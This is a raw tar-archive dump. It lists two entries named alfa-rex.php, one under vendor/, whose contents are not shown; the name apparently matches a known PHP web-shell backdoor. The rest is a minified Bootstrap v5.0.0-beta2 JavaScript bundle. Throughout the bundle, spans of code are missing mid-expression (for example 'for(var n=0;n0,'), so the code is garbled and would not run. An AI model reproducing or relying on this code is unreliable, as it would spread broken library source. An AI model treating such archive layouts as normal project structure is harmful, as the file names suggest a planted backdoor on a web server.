alfa-rex.php000064400000026574150324651210006771 0ustar00vendor/alfa-rex.php000064400000026574150324651210010266 0ustar00vendor/bootstrap.bundle.min.js000064400000234537150324651210012463 0ustar00/*! * Bootstrap v5.0.0-beta2 (https://getbootstrap.com/) * Copyright 2011-2021 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors) * Licensed under MIT (https://github.com/twbs/bootstrap/blob/main/LICENSE) */ !function(t,e){"object"==typeof exports&&"undefined"!=typeof module?module.exports=e():"function"==typeof define&&define.amd?define(e):(t="undefined"!=typeof globalThis?globalThis:t||self).bootstrap=e()}(this,(function(){"use strict";function t(t,e){for(var n=0;n0,i._pointerEvent=Boolean(window.PointerEvent),i._addEventListeners(),i}i(o,t);var r=o.prototype;return r.next=function(){this._isSliding||this._slide("next")},r.nextWhenVisible=function(){!document.hidden&&g(this._element)&&this.next()},r.prev=function(){this._isSliding||this._slide("prev")},r.pause=function(t){t||(this._isPaused=!0),Y(".carousel-item-next, .carousel-item-prev",this._element)&&(f(this._element),this.cycle(!0)),clearInterval(this._interval),this._interval=null},r.cycle=function(t){t||(this._isPaused=!1),this._interval&&(clearInterval(this._interval),this._interval=null),this._config&&this._config.interval&&!this._isPaused&&(this._updateInterval(),this._interval=setInterval((document.visibilityState?this.nextWhenVisible:this.next).bind(this),this._config.interval))},r.to=function(t){var e=this;this._activeElement=Y(".active.carousel-item",this._element);var n=this._getItemIndex(this._activeElement);if(!(t>this._items.length-1||t<0))if(this._isSliding)B.one(this._element,"slid.bs.carousel",(function(){return e.to(t)}));else{if(n===t)return this.pause(),void this.cycle();var i=t>n?"next":"prev";this._slide(i,this._items[t])}},r.dispose=function(){t.prototype.dispose.call(this),B.off(this._element,".bs.carousel"),this._items=null,this._config=null,this._interval=null,this._isPaused=null,this._isSliding=null,this._activeElement=null,this._indicatorsElement=null},r._getConfig=function(t){return t=n({},X,t),p("carousel",t,Q),t},r._handleSwipe=function(){var t=Math.abs(this.touchDeltaX);if(!(t<=40)){var e=t/this.touchDeltaX;this.touchDeltaX=0,e>0&&(b?this.next():this.prev()),e<0&&(b?this.prev():this.next())}},r._addEventListeners=function(){var t=this;this._config.keyboard&&B.on(this._element,"keydown.bs.carousel",(function(e){return t._keydown(e)})),"hover"===this._config.pause&&(B.on(this._element,"mouseenter.bs.carousel",(function(e){return t.pause(e)})),B.on(this._element,"mouseleave.bs.carousel",(function(e){return t.cycle(e)}))),this._config.touch&&this._touchSupported&&this._addTouchEventListeners()},r._addTouchEventListeners=function(){var t=this,e=function(e){!t._pointerEvent||"pen"!==e.pointerType&&"touch"!==e.pointerType?t._pointerEvent||(t.touchStartX=e.touches[0].clientX):t.touchStartX=e.clientX},n=function(e){!t._pointerEvent||"pen"!==e.pointerType&&"touch"!==e.pointerType||(t.touchDeltaX=e.clientX-t.touchStartX),t._handleSwipe(),"hover"===t._config.pause&&(t.pause(),t.touchTimeout&&clearTimeout(t.touchTimeout),t.touchTimeout=setTimeout((function(e){return t.cycle(e)}),500+t._config.interval))};F(".carousel-item img",this._element).forEach((function(t){B.on(t,"dragstart.bs.carousel",(function(t){return t.preventDefault()}))})),this._pointerEvent?(B.on(this._element,"pointerdown.bs.carousel",(function(t){return e(t)})),B.on(this._element,"pointerup.bs.carousel",(function(t){return n(t)})),this._element.classList.add("pointer-event")):(B.on(this._element,"touchstart.bs.carousel",(function(t){return e(t)})),B.on(this._element,"touchmove.bs.carousel",(function(e){return function(e){e.touches&&e.touches.length>1?t.touchDeltaX=0:t.touchDeltaX=e.touches[0].clientX-t.touchStartX}(e)})),B.on(this._element,"touchend.bs.carousel",(function(t){return n(t)})))},r._keydown=function(t){/input|textarea/i.test(t.target.tagName)||("ArrowLeft"===t.key?(t.preventDefault(),b?this.next():this.prev()):"ArrowRight"===t.key&&(t.preventDefault(),b?this.prev():this.next()))},r._getItemIndex=function(t){return this._items=t&&t.parentNode?F(".carousel-item",t.parentNode):[],this._items.indexOf(t)},r._getItemByDirection=function(t,e){var n="next"===t,i="prev"===t,o=this._getItemIndex(e),r=this._items.length-1;if((i&&0===o||n&&o===r)&&!this._config.wrap)return e;var s=(o+("prev"===t?-1:1))%this._items.length;return-1===s?this._items[this._items.length-1]:this._items[s]},r._triggerSlideEvent=function(t,e){var n=this._getItemIndex(t),i=this._getItemIndex(Y(".active.carousel-item",this._element));return B.trigger(this._element,"slide.bs.carousel",{relatedTarget:t,direction:e,from:i,to:n})},r._setActiveIndicatorElement=function(t){if(this._indicatorsElement){var e=Y(".active",this._indicatorsElement);e.classList.remove("active"),e.removeAttribute("aria-current");for(var n=F("[data-bs-target]",this._indicatorsElement),i=0;i0)for(var i=0;i=0}function _t(t){return((ut(t)?t.ownerDocument:t.document)||window.document).documentElement}function bt(t){return"html"===lt(t)?t:t.assignedSlot||t.parentNode||t.host||_t(t)}function yt(t){if(!ft(t)||"fixed"===mt(t).position)return null;var e=t.offsetParent;if(e){var n=_t(e);if("body"===lt(e)&&"static"===mt(e).position&&"static"!==mt(n).position)return n}return e}function wt(t){for(var e=ct(t),n=yt(t);n&&vt(n)&&"static"===mt(n).position;)n=yt(n);return n&&"body"===lt(n)&&"static"===mt(n).position?e:n||function(t){for(var e=bt(t);ft(e)&&["html","body"].indexOf(lt(e))<0;){var n=mt(e);if("none"!==n.transform||"none"!==n.perspective||n.willChange&&"auto"!==n.willChange)return e;e=e.parentNode}return null}(t)||e}function Et(t){return["top","bottom"].indexOf(t)>=0?"x":"y"}function Tt(t,e,n){return Math.max(t,Math.min(e,n))}function kt(t){return Object.assign(Object.assign({},{top:0,right:0,bottom:0,left:0}),t)}function At(t,e){return e.reduce((function(e,n){return e[n]=t,e}),{})}var Lt={name:"arrow",enabled:!0,phase:"main",fn:function(t){var e,n=t.state,i=t.name,o=n.elements.arrow,r=n.modifiersData.popperOffsets,s=ht(n.placement),a=Et(s),l=[it,nt].indexOf(s)>=0?"height":"width";if(o&&r){var c=n.modifiersData[i+"#persistent"].padding,u=pt(o),f="y"===a?tt:it,d="y"===a?et:nt,h=n.rects.reference[l]+n.rects.reference[a]-r[a]-n.rects.popper[l],p=r[a]-n.rects.reference[a],g=wt(o),m=g?"y"===a?g.clientHeight||0:g.clientWidth||0:0,v=h/2-p/2,_=c[f],b=m-u[l]-c[d],y=m/2-u[l]/2+v,w=Tt(_,y,b),E=a;n.modifiersData[i]=((e={})[E]=w,e.centerOffset=w-y,e)}},effect:function(t){var e=t.state,n=t.options,i=t.name,o=n.element,r=void 0===o?"[data-popper-arrow]":o,s=n.padding,a=void 0===s?0:s;null!=r&&("string"!=typeof r||(r=e.elements.popper.querySelector(r)))&>(e.elements.popper,r)&&(e.elements.arrow=r,e.modifiersData[i+"#persistent"]={padding:kt("number"!=typeof a?a:At(a,ot))})},requires:["popperOffsets"],requiresIfExists:["preventOverflow"]},Ot={top:"auto",right:"auto",bottom:"auto",left:"auto"};function Dt(t){var e,n=t.popper,i=t.popperRect,o=t.placement,r=t.offsets,s=t.position,a=t.gpuAcceleration,l=t.adaptive,c=t.roundOffsets?function(t){var e=t.x,n=t.y,i=window.devicePixelRatio||1;return{x:Math.round(e*i)/i||0,y:Math.round(n*i)/i||0}}(r):r,u=c.x,f=void 0===u?0:u,d=c.y,h=void 0===d?0:d,p=r.hasOwnProperty("x"),g=r.hasOwnProperty("y"),m=it,v=tt,_=window;if(l){var b=wt(n);b===ct(n)&&(b=_t(n)),o===tt&&(v=et,h-=b.clientHeight-i.height,h*=a?1:-1),o===it&&(m=nt,f-=b.clientWidth-i.width,f*=a?1:-1)}var y,w=Object.assign({position:s},l&&Ot);return a?Object.assign(Object.assign({},w),{},((y={})[v]=g?"0":"",y[m]=p?"0":"",y.transform=(_.devicePixelRatio||1)<2?"translate("+f+"px, "+h+"px)":"translate3d("+f+"px, "+h+"px, 0)",y)):Object.assign(Object.assign({},w),{},((e={})[v]=g?h+"px":"",e[m]=p?f+"px":"",e.transform="",e))}var xt={name:"computeStyles",enabled:!0,phase:"beforeWrite",fn:function(t){var e=t.state,n=t.options,i=n.gpuAcceleration,o=void 0===i||i,r=n.adaptive,s=void 0===r||r,a=n.roundOffsets,l=void 0===a||a,c={placement:ht(e.placement),popper:e.elements.popper,popperRect:e.rects.popper,gpuAcceleration:o};null!=e.modifiersData.popperOffsets&&(e.styles.popper=Object.assign(Object.assign({},e.styles.popper),Dt(Object.assign(Object.assign({},c),{},{offsets:e.modifiersData.popperOffsets,position:e.options.strategy,adaptive:s,roundOffsets:l})))),null!=e.modifiersData.arrow&&(e.styles.arrow=Object.assign(Object.assign({},e.styles.arrow),Dt(Object.assign(Object.assign({},c),{},{offsets:e.modifiersData.arrow,position:"absolute",adaptive:!1,roundOffsets:l})))),e.attributes.popper=Object.assign(Object.assign({},e.attributes.popper),{},{"data-popper-placement":e.placement})},data:{}},Ct={passive:!0},St={name:"eventListeners",enabled:!0,phase:"write",fn:function(){},effect:function(t){var e=t.state,n=t.instance,i=t.options,o=i.scroll,r=void 0===o||o,s=i.resize,a=void 0===s||s,l=ct(e.elements.popper),c=[].concat(e.scrollParents.reference,e.scrollParents.popper);return r&&c.forEach((function(t){t.addEventListener("scroll",n.update,Ct)})),a&&l.addEventListener("resize",n.update,Ct),function(){r&&c.forEach((function(t){t.removeEventListener("scroll",n.update,Ct)})),a&&l.removeEventListener("resize",n.update,Ct)}},data:{}},jt={left:"right",right:"left",bottom:"top",top:"bottom"};function Nt(t){return t.replace(/left|right|bottom|top/g,(function(t){return jt[t]}))}var Pt={start:"end",end:"start"};function It(t){return t.replace(/start|end/g,(function(t){return Pt[t]}))}function Mt(t){var e=t.getBoundingClientRect();return{width:e.width,height:e.height,top:e.top,right:e.right,bottom:e.bottom,left:e.left,x:e.left,y:e.top}}function Bt(t){var e=ct(t);return{scrollLeft:e.pageXOffset,scrollTop:e.pageYOffset}}function Ht(t){return Mt(_t(t)).left+Bt(t).scrollLeft}function Rt(t){var e=mt(t),n=e.overflow,i=e.overflowX,o=e.overflowY;return/auto|scroll|overlay|hidden/.test(n+o+i)}function Wt(t,e){void 0===e&&(e=[]);var n=function t(e){return["html","body","#document"].indexOf(lt(e))>=0?e.ownerDocument.body:ft(e)&&Rt(e)?e:t(bt(e))}(t),i="body"===lt(n),o=ct(n),r=i?[o].concat(o.visualViewport||[],Rt(n)?n:[]):n,s=e.concat(r);return i?s:s.concat(Wt(bt(r)))}function Kt(t){return Object.assign(Object.assign({},t),{},{left:t.x,top:t.y,right:t.x+t.width,bottom:t.y+t.height})}function Ut(t,e){return"viewport"===e?Kt(function(t){var e=ct(t),n=_t(t),i=e.visualViewport,o=n.clientWidth,r=n.clientHeight,s=0,a=0;return i&&(o=i.width,r=i.height,/^((?!chrome|android).)*safari/i.test(navigator.userAgent)||(s=i.offsetLeft,a=i.offsetTop)),{width:o,height:r,x:s+Ht(t),y:a}}(t)):ft(e)?function(t){var e=Mt(t);return e.top=e.top+t.clientTop,e.left=e.left+t.clientLeft,e.bottom=e.top+t.clientHeight,e.right=e.left+t.clientWidth,e.width=t.clientWidth,e.height=t.clientHeight,e.x=e.left,e.y=e.top,e}(e):Kt(function(t){var e=_t(t),n=Bt(t),i=t.ownerDocument.body,o=Math.max(e.scrollWidth,e.clientWidth,i?i.scrollWidth:0,i?i.clientWidth:0),r=Math.max(e.scrollHeight,e.clientHeight,i?i.scrollHeight:0,i?i.clientHeight:0),s=-n.scrollLeft+Ht(t),a=-n.scrollTop;return"rtl"===mt(i||e).direction&&(s+=Math.max(e.clientWidth,i?i.clientWidth:0)-o),{width:o,height:r,x:s,y:a}}(_t(t)))}function zt(t){return t.split("-")[1]}function Ft(t){var e,n=t.reference,i=t.element,o=t.placement,r=o?ht(o):null,s=o?zt(o):null,a=n.x+n.width/2-i.width/2,l=n.y+n.height/2-i.height/2;switch(r){case tt:e={x:a,y:n.y-i.height};break;case et:e={x:a,y:n.y+n.height};break;case nt:e={x:n.x+n.width,y:l};break;case it:e={x:n.x-i.width,y:l};break;default:e={x:n.x,y:n.y}}var c=r?Et(r):null;if(null!=c){var u="y"===c?"height":"width";switch(s){case"start":e[c]=e[c]-(n[u]/2-i[u]/2);break;case"end":e[c]=e[c]+(n[u]/2-i[u]/2)}}return e}function Yt(t,e){void 0===e&&(e={});var n=e,i=n.placement,o=void 0===i?t.placement:i,r=n.boundary,s=void 0===r?"clippingParents":r,a=n.rootBoundary,l=void 0===a?"viewport":a,c=n.elementContext,u=void 0===c?"popper":c,f=n.altBoundary,d=void 0!==f&&f,h=n.padding,p=void 0===h?0:h,g=kt("number"!=typeof p?p:At(p,ot)),m="popper"===u?"reference":"popper",v=t.elements.reference,_=t.rects.popper,b=t.elements[d?m:u],y=function(t,e,n){var i="clippingParents"===e?function(t){var e=Wt(bt(t)),n=["absolute","fixed"].indexOf(mt(t).position)>=0&&ft(t)?wt(t):t;return ut(n)?e.filter((function(t){return ut(t)&>(t,n)&&"body"!==lt(t)})):[]}(t):[].concat(e),o=[].concat(i,[n]),r=o[0],s=o.reduce((function(e,n){var i=Ut(t,n);return e.top=Math.max(i.top,e.top),e.right=Math.min(i.right,e.right),e.bottom=Math.min(i.bottom,e.bottom),e.left=Math.max(i.left,e.left),e}),Ut(t,r));return s.width=s.right-s.left,s.height=s.bottom-s.top,s.x=s.left,s.y=s.top,s}(ut(b)?b:b.contextElement||_t(t.elements.popper),s,l),w=Mt(v),E=Ft({reference:w,element:_,strategy:"absolute",placement:o}),T=Kt(Object.assign(Object.assign({},_),E)),k="popper"===u?T:w,A={top:y.top-k.top+g.top,bottom:k.bottom-y.bottom+g.bottom,left:y.left-k.left+g.left,right:k.right-y.right+g.right},L=t.modifiersData.offset;if("popper"===u&&L){var O=L[o];Object.keys(A).forEach((function(t){var e=[nt,et].indexOf(t)>=0?1:-1,n=[tt,et].indexOf(t)>=0?"y":"x";A[t]+=O[n]*e}))}return A}function qt(t,e){void 0===e&&(e={});var n=e,i=n.placement,o=n.boundary,r=n.rootBoundary,s=n.padding,a=n.flipVariations,l=n.allowedAutoPlacements,c=void 0===l?st:l,u=zt(i),f=u?a?rt:rt.filter((function(t){return zt(t)===u})):ot,d=f.filter((function(t){return c.indexOf(t)>=0}));0===d.length&&(d=f);var h=d.reduce((function(e,n){return e[n]=Yt(t,{placement:n,boundary:o,rootBoundary:r,padding:s})[ht(n)],e}),{});return Object.keys(h).sort((function(t,e){return h[t]-h[e]}))}var Vt={name:"flip",enabled:!0,phase:"main",fn:function(t){var e=t.state,n=t.options,i=t.name;if(!e.modifiersData[i]._skip){for(var o=n.mainAxis,r=void 0===o||o,s=n.altAxis,a=void 0===s||s,l=n.fallbackPlacements,c=n.padding,u=n.boundary,f=n.rootBoundary,d=n.altBoundary,h=n.flipVariations,p=void 0===h||h,g=n.allowedAutoPlacements,m=e.options.placement,v=ht(m),_=l||(v!==m&&p?function(t){if("auto"===ht(t))return[];var e=Nt(t);return[It(t),e,It(e)]}(m):[Nt(m)]),b=[m].concat(_).reduce((function(t,n){return t.concat("auto"===ht(n)?qt(e,{placement:n,boundary:u,rootBoundary:f,padding:c,flipVariations:p,allowedAutoPlacements:g}):n)}),[]),y=e.rects.reference,w=e.rects.popper,E=new Map,T=!0,k=b[0],A=0;A=0,C=x?"width":"height",S=Yt(e,{placement:L,boundary:u,rootBoundary:f,altBoundary:d,padding:c}),j=x?D?nt:it:D?et:tt;y[C]>w[C]&&(j=Nt(j));var N=Nt(j),P=[];if(r&&P.push(S[O]<=0),a&&P.push(S[j]<=0,S[N]<=0),P.every((function(t){return t}))){k=L,T=!1;break}E.set(L,P)}if(T)for(var I=function(t){var e=b.find((function(e){var n=E.get(e);if(n)return n.slice(0,t).every((function(t){return t}))}));if(e)return k=e,"break"},M=p?3:1;M>0&&"break"!==I(M);M--);e.placement!==k&&(e.modifiersData[i]._skip=!0,e.placement=k,e.reset=!0)}},requiresIfExists:["offset"],data:{_skip:!1}};function Xt(t,e,n){return void 0===n&&(n={x:0,y:0}),{top:t.top-e.height-n.y,right:t.right-e.width+n.x,bottom:t.bottom-e.height+n.y,left:t.left-e.width-n.x}}function Qt(t){return[tt,nt,et,it].some((function(e){return t[e]>=0}))}var $t={name:"hide",enabled:!0,phase:"main",requiresIfExists:["preventOverflow"],fn:function(t){var e=t.state,n=t.name,i=e.rects.reference,o=e.rects.popper,r=e.modifiersData.preventOverflow,s=Yt(e,{elementContext:"reference"}),a=Yt(e,{altBoundary:!0}),l=Xt(s,i),c=Xt(a,o,r),u=Qt(l),f=Qt(c);e.modifiersData[n]={referenceClippingOffsets:l,popperEscapeOffsets:c,isReferenceHidden:u,hasPopperEscaped:f},e.attributes.popper=Object.assign(Object.assign({},e.attributes.popper),{},{"data-popper-reference-hidden":u,"data-popper-escaped":f})}},Gt={name:"offset",enabled:!0,phase:"main",requires:["popperOffsets"],fn:function(t){var e=t.state,n=t.options,i=t.name,o=n.offset,r=void 0===o?[0,0]:o,s=st.reduce((function(t,n){return t[n]=function(t,e,n){var i=ht(t),o=[it,tt].indexOf(i)>=0?-1:1,r="function"==typeof n?n(Object.assign(Object.assign({},e),{},{placement:t})):n,s=r[0],a=r[1];return s=s||0,a=(a||0)*o,[it,nt].indexOf(i)>=0?{x:a,y:s}:{x:s,y:a}}(n,e.rects,r),t}),{}),a=s[e.placement],l=a.x,c=a.y;null!=e.modifiersData.popperOffsets&&(e.modifiersData.popperOffsets.x+=l,e.modifiersData.popperOffsets.y+=c),e.modifiersData[i]=s}},Zt={name:"popperOffsets",enabled:!0,phase:"read",fn:function(t){var e=t.state,n=t.name;e.modifiersData[n]=Ft({reference:e.rects.reference,element:e.rects.popper,strategy:"absolute",placement:e.placement})},data:{}},Jt={name:"preventOverflow",enabled:!0,phase:"main",fn:function(t){var e=t.state,n=t.options,i=t.name,o=n.mainAxis,r=void 0===o||o,s=n.altAxis,a=void 0!==s&&s,l=n.boundary,c=n.rootBoundary,u=n.altBoundary,f=n.padding,d=n.tether,h=void 0===d||d,p=n.tetherOffset,g=void 0===p?0:p,m=Yt(e,{boundary:l,rootBoundary:c,padding:f,altBoundary:u}),v=ht(e.placement),_=zt(e.placement),b=!_,y=Et(v),w="x"===y?"y":"x",E=e.modifiersData.popperOffsets,T=e.rects.reference,k=e.rects.popper,A="function"==typeof g?g(Object.assign(Object.assign({},e.rects),{},{placement:e.placement})):g,L={x:0,y:0};if(E){if(r){var O="y"===y?tt:it,D="y"===y?et:nt,x="y"===y?"height":"width",C=E[y],S=E[y]+m[O],j=E[y]-m[D],N=h?-k[x]/2:0,P="start"===_?T[x]:k[x],I="start"===_?-k[x]:-T[x],M=e.elements.arrow,B=h&&M?pt(M):{width:0,height:0},H=e.modifiersData["arrow#persistent"]?e.modifiersData["arrow#persistent"].padding:{top:0,right:0,bottom:0,left:0},R=H[O],W=H[D],K=Tt(0,T[x],B[x]),U=b?T[x]/2-N-K-R-A:P-K-R-A,z=b?-T[x]/2+N+K+W+A:I+K+W+A,F=e.elements.arrow&&wt(e.elements.arrow),Y=F?"y"===y?F.clientTop||0:F.clientLeft||0:0,q=e.modifiersData.offset?e.modifiersData.offset[e.placement][y]:0,V=E[y]+U-q-Y,X=E[y]+z-q,Q=Tt(h?Math.min(S,V):S,C,h?Math.max(j,X):j);E[y]=Q,L[y]=Q-C}if(a){var $="x"===y?tt:it,G="x"===y?et:nt,Z=E[w],J=Tt(Z+m[$],Z,Z-m[G]);E[w]=J,L[w]=J-Z}e.modifiersData[i]=L}},requiresIfExists:["offset"]};function te(t,e,n){void 0===n&&(n=!1);var i,o,r=_t(e),s=Mt(t),a=ft(e),l={scrollLeft:0,scrollTop:0},c={x:0,y:0};return(a||!a&&!n)&&(("body"!==lt(e)||Rt(r))&&(l=(i=e)!==ct(i)&&ft(i)?{scrollLeft:(o=i).scrollLeft,scrollTop:o.scrollTop}:Bt(i)),ft(e)?((c=Mt(e)).x+=e.clientLeft,c.y+=e.clientTop):r&&(c.x=Ht(r))),{x:s.left+l.scrollLeft-c.x,y:s.top+l.scrollTop-c.y,width:s.width,height:s.height}}var ee={placement:"bottom",modifiers:[],strategy:"absolute"};function ne(){for(var t=arguments.length,e=new Array(t),n=0;n0&&r--,"ArrowDown"===t.key&&rdocument.documentElement.clientHeight;e||(this._element.style.overflowY="hidden"),this._element.classList.add("modal-static");var n=u(this._dialog);B.off(this._element,"transitionend"),B.one(this._element,"transitionend",(function(){t._element.classList.remove("modal-static"),e||(B.one(t._element,"transitionend",(function(){t._element.style.overflowY=""})),h(t._element,n))})),h(this._element,n),this._element.focus()}},r._adjustDialog=function(){var t=this._element.scrollHeight>document.documentElement.clientHeight;(!this._isBodyOverflowing&&t&&!b||this._isBodyOverflowing&&!t&&b)&&(this._element.style.paddingLeft=this._scrollbarWidth+"px"),(this._isBodyOverflowing&&!t&&!b||!this._isBodyOverflowing&&t&&b)&&(this._element.style.paddingRight=this._scrollbarWidth+"px")},r._resetAdjustments=function(){this._element.style.paddingLeft="",this._element.style.paddingRight=""},r._checkScrollbar=function(){var t=document.body.getBoundingClientRect();this._isBodyOverflowing=Math.round(t.left+t.right)
',trigger:"hover focus",title:"",delay:0,html:!1,selector:!1,placement:"top",offset:[0,0],container:!1,fallbackPlacements:["top","right","bottom","left"],boundary:"clippingParents",customClass:"",sanitize:!0,sanitizeFn:null,allowList:{"*":["class","dir","id","lang","role",/^aria-[\w-]*$/i],a:["target","href","title","rel"],area:[],b:[],br:[],col:[],code:[],div:[],em:[],hr:[],h1:[],h2:[],h3:[],h4:[],h5:[],h6:[],i:[],img:["src","srcset","alt","title","width","height"],li:[],ol:[],p:[],pre:[],s:[],small:[],span:[],sub:[],sup:[],strong:[],u:[],ul:[]},popperConfig:null},Ce={HIDE:"hide.bs.tooltip",HIDDEN:"hidden.bs.tooltip",SHOW:"show.bs.tooltip",SHOWN:"shown.bs.tooltip",INSERTED:"inserted.bs.tooltip",CLICK:"click.bs.tooltip",FOCUSIN:"focusin.bs.tooltip",FOCUSOUT:"focusout.bs.tooltip",MOUSEENTER:"mouseenter.bs.tooltip",MOUSELEAVE:"mouseleave.bs.tooltip"},Se=function(t){function o(e,n){var i;if(void 0===ae)throw new TypeError("Bootstrap's tooltips require Popper (https://popper.js.org)");return(i=t.call(this,e)||this)._isEnabled=!0,i._timeout=0,i._hoverState="",i._activeTrigger={},i._popper=null,i.config=i._getConfig(n),i.tip=null,i._setListeners(),i}i(o,t);var r=o.prototype;return r.enable=function(){this._isEnabled=!0},r.disable=function(){this._isEnabled=!1},r.toggleEnabled=function(){this._isEnabled=!this._isEnabled},r.toggle=function(t){if(this._isEnabled)if(t){var e=this._initializeOnDelegatedTarget(t);e._activeTrigger.click=!e._activeTrigger.click,e._isWithActiveTrigger()?e._enter(null,e):e._leave(null,e)}else{if(this.getTipElement().classList.contains("show"))return void this._leave(null,this);this._enter(null,this)}},r.dispose=function(){clearTimeout(this._timeout),B.off(this._element,this.constructor.EVENT_KEY),B.off(this._element.closest(".modal"),"hide.bs.modal",this._hideModalHandler),this.tip&&this.tip.parentNode&&this.tip.parentNode.removeChild(this.tip),this._isEnabled=null,this._timeout=null,this._hoverState=null,this._activeTrigger=null,this._popper&&this._popper.destroy(),this._popper=null,this.config=null,this.tip=null,t.prototype.dispose.call(this)},r.show=function(){var t=this;if("none"===this._element.style.display)throw new Error("Please use show on visible elements");if(this.isWithContent()&&this._isEnabled){var e=B.trigger(this._element,this.constructor.Event.SHOW),n=function t(e){if(!document.documentElement.attachShadow)return null;if("function"==typeof e.getRootNode){var n=e.getRootNode();return n instanceof ShadowRoot?n:null}return e instanceof ShadowRoot?e:e.parentNode?t(e.parentNode):null}(this._element),i=null===n?this._element.ownerDocument.documentElement.contains(this._element):n.contains(this._element);if(!e.defaultPrevented&&i){var o=this.getTipElement(),r=s(this.constructor.NAME);o.setAttribute("id",r),this._element.setAttribute("aria-describedby",r),this.setContent(),this.config.animation&&o.classList.add("fade");var a="function"==typeof this.config.placement?this.config.placement.call(this,o,this._element):this.config.placement,l=this._getAttachment(a);this._addAttachmentClass(l);var c=this._getContainer();E(o,this.constructor.DATA_KEY,this),this._element.ownerDocument.documentElement.contains(this.tip)||c.appendChild(o),B.trigger(this._element,this.constructor.Event.INSERTED),this._popper=se(this._element,o,this._getPopperConfig(l)),o.classList.add("show");var f,d,p="function"==typeof this.config.customClass?this.config.customClass():this.config.customClass;p&&(f=o.classList).add.apply(f,p.split(" ")),"ontouchstart"in document.documentElement&&(d=[]).concat.apply(d,document.body.children).forEach((function(t){B.on(t,"mouseover",(function(){}))}));var g=function(){var e=t._hoverState;t._hoverState=null,B.trigger(t._element,t.constructor.Event.SHOWN),"out"===e&&t._leave(null,t)};if(this.tip.classList.contains("fade")){var m=u(this.tip);B.one(this.tip,"transitionend",g),h(this.tip,m)}else g()}}},r.hide=function(){var t=this;if(this._popper){var e=this.getTipElement(),n=function(){"show"!==t._hoverState&&e.parentNode&&e.parentNode.removeChild(e),t._cleanTipClass(),t._element.removeAttribute("aria-describedby"),B.trigger(t._element,t.constructor.Event.HIDDEN),t._popper&&(t._popper.destroy(),t._popper=null)};if(!B.trigger(this._element,this.constructor.Event.HIDE).defaultPrevented){var i;if(e.classList.remove("show"),"ontouchstart"in document.documentElement&&(i=[]).concat.apply(i,document.body.children).forEach((function(t){return B.off(t,"mouseover",m)})),this._activeTrigger.click=!1,this._activeTrigger.focus=!1,this._activeTrigger.hover=!1,this.tip.classList.contains("fade")){var o=u(e);B.one(e,"transitionend",n),h(e,o)}else n();this._hoverState=""}}},r.update=function(){null!==this._popper&&this._popper.update()},r.isWithContent=function(){return Boolean(this.getTitle())},r.getTipElement=function(){if(this.tip)return this.tip;var t=document.createElement("div");return t.innerHTML=this.config.template,this.tip=t.children[0],this.tip},r.setContent=function(){var t=this.getTipElement();this.setElementContent(Y(".tooltip-inner",t),this.getTitle()),t.classList.remove("fade","show")},r.setElementContent=function(t,e){if(null!==t)return"object"==typeof e&&d(e)?(e.jquery&&(e=e[0]),void(this.config.html?e.parentNode!==t&&(t.innerHTML="",t.appendChild(e)):t.textContent=e.textContent)):void(this.config.html?(this.config.sanitize&&(e=ke(e,this.config.allowList,this.config.sanitizeFn)),t.innerHTML=e):t.textContent=e)},r.getTitle=function(){var t=this._element.getAttribute("data-bs-original-title");return t||(t="function"==typeof this.config.title?this.config.title.call(this._element):this.config.title),t},r.updateAttachment=function(t){return"right"===t?"end":"left"===t?"start":t},r._initializeOnDelegatedTarget=function(t,e){var n=this.constructor.DATA_KEY;return(e=e||T(t.delegateTarget,n))||(e=new this.constructor(t.delegateTarget,this._getDelegateConfig()),E(t.delegateTarget,n,e)),e},r._getOffset=function(){var t=this,e=this.config.offset;return"string"==typeof e?e.split(",").map((function(t){return Number.parseInt(t,10)})):"function"==typeof e?function(n){return e(n,t._element)}:e},r._getPopperConfig=function(t){var e=this,i={placement:t,modifiers:[{name:"flip",options:{altBoundary:!0,fallbackPlacements:this.config.fallbackPlacements}},{name:"offset",options:{offset:this._getOffset()}},{name:"preventOverflow",options:{boundary:this.config.boundary}},{name:"arrow",options:{element:"."+this.constructor.NAME+"-arrow"}},{name:"onChange",enabled:!0,phase:"afterWrite",fn:function(t){return e._handlePopperPlacementChange(t)}}],onFirstUpdate:function(t){t.options.placement!==t.placement&&e._handlePopperPlacementChange(t)}};return n({},i,"function"==typeof this.config.popperConfig?this.config.popperConfig(i):this.config.popperConfig)},r._addAttachmentClass=function(t){this.getTipElement().classList.add("bs-tooltip-"+this.updateAttachment(t))},r._getContainer=function(){return!1===this.config.container?document.body:d(this.config.container)?this.config.container:Y(this.config.container)},r._getAttachment=function(t){return De[t.toUpperCase()]},r._setListeners=function(){var t=this;this.config.trigger.split(" ").forEach((function(e){if("click"===e)B.on(t._element,t.constructor.Event.CLICK,t.config.selector,(function(e){return t.toggle(e)}));else if("manual"!==e){var n="hover"===e?t.constructor.Event.MOUSEENTER:t.constructor.Event.FOCUSIN,i="hover"===e?t.constructor.Event.MOUSELEAVE:t.constructor.Event.FOCUSOUT;B.on(t._element,n,t.config.selector,(function(e){return t._enter(e)})),B.on(t._element,i,t.config.selector,(function(e){return t._leave(e)}))}})),this._hideModalHandler=function(){t._element&&t.hide()},B.on(this._element.closest(".modal"),"hide.bs.modal",this._hideModalHandler),this.config.selector?this.config=n({},this.config,{trigger:"manual",selector:""}):this._fixTitle()},r._fixTitle=function(){var t=this._element.getAttribute("title"),e=typeof this._element.getAttribute("data-bs-original-title");(t||"string"!==e)&&(this._element.setAttribute("data-bs-original-title",t||""),!t||this._element.getAttribute("aria-label")||this._element.textContent||this._element.setAttribute("aria-label",t),this._element.setAttribute("title",""))},r._enter=function(t,e){e=this._initializeOnDelegatedTarget(t,e),t&&(e._activeTrigger["focusin"===t.type?"focus":"hover"]=!0),e.getTipElement().classList.contains("show")||"show"===e._hoverState?e._hoverState="show":(clearTimeout(e._timeout),e._hoverState="show",e.config.delay&&e.config.delay.show?e._timeout=setTimeout((function(){"show"===e._hoverState&&e.show()}),e.config.delay.show):e.show())},r._leave=function(t,e){e=this._initializeOnDelegatedTarget(t,e),t&&(e._activeTrigger["focusout"===t.type?"focus":"hover"]=!1),e._isWithActiveTrigger()||(clearTimeout(e._timeout),e._hoverState="out",e.config.delay&&e.config.delay.hide?e._timeout=setTimeout((function(){"out"===e._hoverState&&e.hide()}),e.config.delay.hide):e.hide())},r._isWithActiveTrigger=function(){for(var t in this._activeTrigger)if(this._activeTrigger[t])return!0;return!1},r._getConfig=function(t){var e=z.getDataAttributes(this._element);return Object.keys(e).forEach((function(t){Le.has(t)&&delete e[t]})),t&&"object"==typeof t.container&&t.container.jquery&&(t.container=t.container[0]),"number"==typeof(t=n({},this.constructor.Default,e,"object"==typeof 